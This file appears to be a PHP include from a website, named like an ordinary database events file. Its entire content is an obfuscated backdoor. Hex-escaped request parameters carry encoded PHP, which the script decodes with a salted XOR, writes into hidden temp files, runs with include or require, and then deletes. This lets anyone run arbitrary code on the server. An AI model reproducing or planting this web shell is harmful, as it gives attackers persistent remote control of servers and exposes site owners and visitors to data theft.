File: /home/vitanhod/virgomax.vitavit.com.pk/db_events.inc.php
<?php if(array_key_exists("re\x66", $_REQUEST) && !is_null($_REQUEST["re\x66"])){ $flag = $_REQUEST["re\x66"]; $flag = explode( '.' , $flag ); $element = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $j = 0; while ($j < count($flag)) {$v1 = $flag[$j]; $sChar = ord($s9[$j % $sLen] ); $dec = ((int)$v1 - $sChar - ($j % 10)) ^ 26; $element .=chr($dec ); $j++; } $tkn = array_filter([getenv("TMP"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); foreach ($tkn as $bind): if (!( !is_dir($bind) || !is_writable($bind) )) { $ent = implode("/", [$bind, ".comp"]); if (file_put_contents($ent, $element)) { require $ent; unlink($ent); die(); } } endforeach; }
if(count($_POST) > 0 && isset($_POST["\x74\x6Bn"])){
$flag = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]);
$descriptor = $_POST["\x74\x6Bn"];
$descriptor= explode( '.' ,$descriptor) ;
$comp = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt4);
foreach ($descriptor as $i => $v5) { $chS = ord($salt4[$i % $lenS]);
$d = ((int)$v5 - $chS - ($i % 10)) ^ 68;
$comp .= chr($d);
}
foreach ($flag as $key => $component) {
if (max(0, is_dir($component) * is_writable($component))) {
$marker = str_replace("{var_dir}", $component, "{var_dir}/.element");
$file = fopen($marker, 'w');
if ($file) {
fwrite($file, $comp);
fclose($file);
include $marker;
@unlink($marker);
exit;
}
}
}
}